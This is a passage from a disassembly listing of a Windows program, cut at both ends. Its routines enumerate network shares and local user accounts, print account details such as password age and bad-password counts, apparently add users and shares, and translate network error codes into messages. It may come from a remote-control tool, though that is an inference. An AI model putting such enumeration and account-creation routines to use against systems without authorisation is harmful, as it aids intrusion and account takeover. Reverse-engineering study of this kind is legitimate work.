		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418BC0(int,char *Str,int)

sub_418BC0	proc near		; CODE XREF: sub_418A99+6Ep
					; sub_41A19E+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+Str]
		mov	edi, eax
		call	sub_418C2B
		push	24h		; Val
		mov	[ebp+var_20], eax
		push	[ebp+Str]	; Str
		call	_strchr
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2B
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB548
		pop	edi
		leave
		retn
sub_418BC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2B	proc near		; CODE XREF: sub_418BC0+Ap
					; sub_418BC0+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C38
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418C38:				; CODE XREF: sub_418C2B+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6C	proc near		; CODE XREF: sub_418A99+20p
					; sub_419E7A+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2B
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB520
		pop	esi
		retn
sub_418C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418C8F(int,char *Str,int,int)

sub_418C8F	proc near		; CODE XREF: sub_401ACD+46B1p

Dest		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2B
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi		; int
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]	; int
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 18h


loc_418CC8:				; CODE XREF: sub_418C8F+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB598
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2B
		cmp	ebx, 0EAh
		jz	short loc_418D2B
		push	ebx
		push	ebx
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_439788 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 24h
		jmp	short loc_418D98
; ---------------------------------------------------------------------------


loc_418D2B:				; CODE XREF: sub_418C8F+5Dj
					; sub_418C8F+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8F
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_418D39:				; CODE XREF: sub_418C8F+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB53C	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D50
		mov	eax, offset aNo	; "No"


loc_418D50:				; CODE XREF: sub_418C8F+BAj
		push	eax
		lea	eax, [ebp+Dest]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D39
		xor	esi, esi


loc_418D8F:				; CODE XREF: sub_418C8F+A2j
		push	[ebp+var_4]
		call	dword_4CB6E4


loc_418D98:				; CODE XREF: sub_418C8F+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC8
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418DB0(int,int,int,int,char *Str,int)

sub_418DB0	proc near		; CODE XREF: sub_401ACD:loc_4061EFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
Str		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E55
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF2
		dec	eax
		jz	short loc_418DE7
		dec	eax
		jnz	short loc_418E0D
		push	[ebp+arg_14]	; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_C]	; int
		push	ebx		; int
		push	edi		; int
		call	sub_418EF7
		add	esp, 14h
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418DE7:				; CODE XREF: sub_418DB0+1Dj
		push	ebx
		push	edi
		call	sub_418ED6
		pop	ecx
		pop	ecx
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418DF2:				; CODE XREF: sub_418DB0+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E06
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7C
		add	esp, 0Ch
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418E06:				; CODE XREF: sub_418DB0+45j
		push	57h
		pop	eax


loc_418E09:				; CODE XREF: sub_418DB0+35j
					; sub_418DB0+40j ...
		cmp	eax, edi
		jnz	short loc_418E2D


loc_418E0D:				; CODE XREF: sub_418DB0+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset byte_4DB4D0
		push	off_439094[eax*4]
		push	offset asc_439840 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_418E75
; ---------------------------------------------------------------------------


loc_418E2D:				; CODE XREF: sub_418DB0+5Bj
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset byte_4DB4D0
		push	off_439090[eax*4]
		push	offset asc_439810 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	short loc_418E75
; ---------------------------------------------------------------------------


loc_418E55:				; CODE XREF: sub_418DB0+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset byte_4DB4D0
		lea	eax, [eax+eax*2]
		push	off_439090[eax*4]
		push	offset asc_4397E8 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_418E75:				; CODE XREF: sub_418DB0+7Bj
					; sub_418DB0+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7C	proc near		; CODE XREF: sub_418DB0+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2B
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2B
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB52C
		pop	edi
		leave
		retn
sub_418E7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED6	proc near		; CODE XREF: sub_418DB0+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2B
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB51C
		pop	esi
		retn
sub_418ED6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418EF7(int,int,int,char *Str,int)

sub_418EF7	proc near		; CODE XREF: sub_418DB0+2Dp

Dest		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CB6AC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929F
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192DA
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+Dest]
		push	offset aAccountS ; "Account: %S"
		push	eax		; Dest
		call	_sprintf
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+Str]
		mov	ebx, [ebp+arg_8]
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+Dest]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+Dest]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+Dest]
		push	offset aCommentS ; "Comment: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419016
		dec	eax
		jz	short loc_41900F
		dec	eax
		jz	short loc_419008
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_419008:				; CODE XREF: sub_418EF7+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_41900F:				; CODE XREF: sub_418EF7+105j
		mov	eax, offset aUser_3 ; "User"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_419016:				; CODE XREF: sub_418EF7+102j
		mov	eax, offset aGuest ; "Guest"


loc_41901B:				; CODE XREF: sub_418EF7+10Fj
					; sub_418EF7+116j ...
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+Dest]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+Dest]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+Dest]
		push	offset aParametersS ; "Parameters: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+Dest]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+Dest]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+Dest]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+Dest]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+Dest]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+Dest]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+Dest]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+Dest]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+Dest]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+Dest]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+Dest]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409A73
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CB
; ---------------------------------------------------------------------------


loc_41929F:				; CODE XREF: sub_418EF7+35j
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_439860 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_10]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_8]	; int
		call	sub_409A73
		add	esp, 20h


loc_4192CB:				; CODE XREF: sub_418EF7+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192DA
		push	[ebp+var_4]
		call	dword_4CB6E4


loc_4192DA:				; CODE XREF: sub_418EF7+40j
					; sub_418EF7+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4192E0(int,char *Str,int,int)

sub_4192E0	proc near		; CODE XREF: sub_401ACD+473Cp

Dest		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2B
		push	esi		; int
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]	; int
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 18h


loc_41931F:				; CODE XREF: sub_4192E0+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB5B4
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_419380
		cmp	eax, 0EAh
		jz	short loc_419380
		push	eax
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_439A50 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 24h
		jmp	short loc_4193FB
; ---------------------------------------------------------------------------


loc_419380:				; CODE XREF: sub_4192E0+62j
					; sub_4192E0+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940E
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FB


loc_419392:				; CODE XREF: sub_4192E0+EDj
		cmp	edi, esi
		jz	short loc_4193D1
		push	dword ptr [edi]
		lea	eax, [ebp+Dest]
		push	offset aS_4	; "  %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419392
		jmp	short loc_4193FB
; ---------------------------------------------------------------------------


loc_4193D1:				; CODE XREF: sub_4192E0+B4j
		lea	eax, [ebp+Dest]
		push	offset asc_439A1C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 1Ch


loc_4193FB:				; CODE XREF: sub_4192E0+9Ej
					; sub_4192E0+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940E
		push	edi
		call	dword_4CB6E4
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41940E:				; CODE XREF: sub_4192E0+A5j
					; sub_4192E0+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931F
		cmp	edi, esi
		jz	short loc_419426
		push	edi
		call	dword_4CB6E4


loc_419426:				; CODE XREF: sub_4192E0+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+Dest]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419460	proc near		; CODE XREF: sub_418A99+41p
					; sub_418C8F+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419512
		jz	loc_41950B
		cmp	eax, 7Bh
		ja	short loc_4194D7
		jz	short loc_4194CD
		cmp	eax, 5
		jz	short loc_4194C3
		cmp	eax, 8
		jz	short loc_4194B9
		cmp	eax, 32h
		jz	short loc_4194AF
		cmp	eax, 35h
		jz	short loc_4194A5
		cmp	eax, 57h
		jnz	loc_419561
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194A5:				; CODE XREF: sub_419460+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194AF:				; CODE XREF: sub_419460+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194B9:				; CODE XREF: sub_419460+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194C3:				; CODE XREF: sub_419460+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194CD:				; CODE XREF: sub_419460+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194D7:				; CODE XREF: sub_419460+1Aj
		sub	eax, 7Ch
		jz	short loc_419504
		sub	eax, 7C8h
		jz	short loc_4194FD
		dec	eax
		jz	short loc_4194F3
		dec	eax
		jnz	short loc_419561
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194F3:				; CODE XREF: sub_419460+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194FD:				; CODE XREF: sub_419460+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419504:				; CODE XREF: sub_419460+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41950B:				; CODE XREF: sub_419460+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419512:				; CODE XREF: sub_419460+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954B
		jz	short loc_419544
		sub	eax, 8ADh
		jz	short loc_419576
		dec	eax
		dec	eax
		jz	short loc_41953D
		dec	eax
		jz	short loc_419536
		dec	eax
		dec	eax
		jnz	short loc_419561
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419536:				; CODE XREF: sub_419460+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41953D:				; CODE XREF: sub_419460+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419544:				; CODE XREF: sub_419460+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41954B:				; CODE XREF: sub_419460+B9j
		sub	eax, 8CAh
		jz	short loc_41957D
		sub	eax, 17h
		jz	short loc_419576
		sub	eax, 25h
		jz	short loc_41956F
		sub	eax, 29h
		jz	short loc_419568


loc_419561:				; CODE XREF: sub_419460+35j
					; sub_419460+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419568:				; CODE XREF: sub_419460+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41956F:				; CODE XREF: sub_419460+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419576:				; CODE XREF: sub_419460+C2j
					; sub_419460+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41957D:				; CODE XREF: sub_419460+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419582:				; CODE XREF: sub_419460+40j
					; sub_419460+4Aj ...
		push	offset byte_4DB270 ; Dest
		call	_sprintf
		pop	ecx
		mov	eax, offset byte_4DB270
		pop	ecx
		retn
sub_419460	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419594(char *Source)

sub_419594	proc near		; CODE XREF: sub_401ACD+4782p

Dest		= word ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
Source		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h		; MaxCount
		push	[ebp+Source]	; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_mbstowcs
		add	esp, 0Ch
		lea	eax, [ebp+Source]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+Source], esi
		call	ds:dword_4270C0	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi		; MaxCount
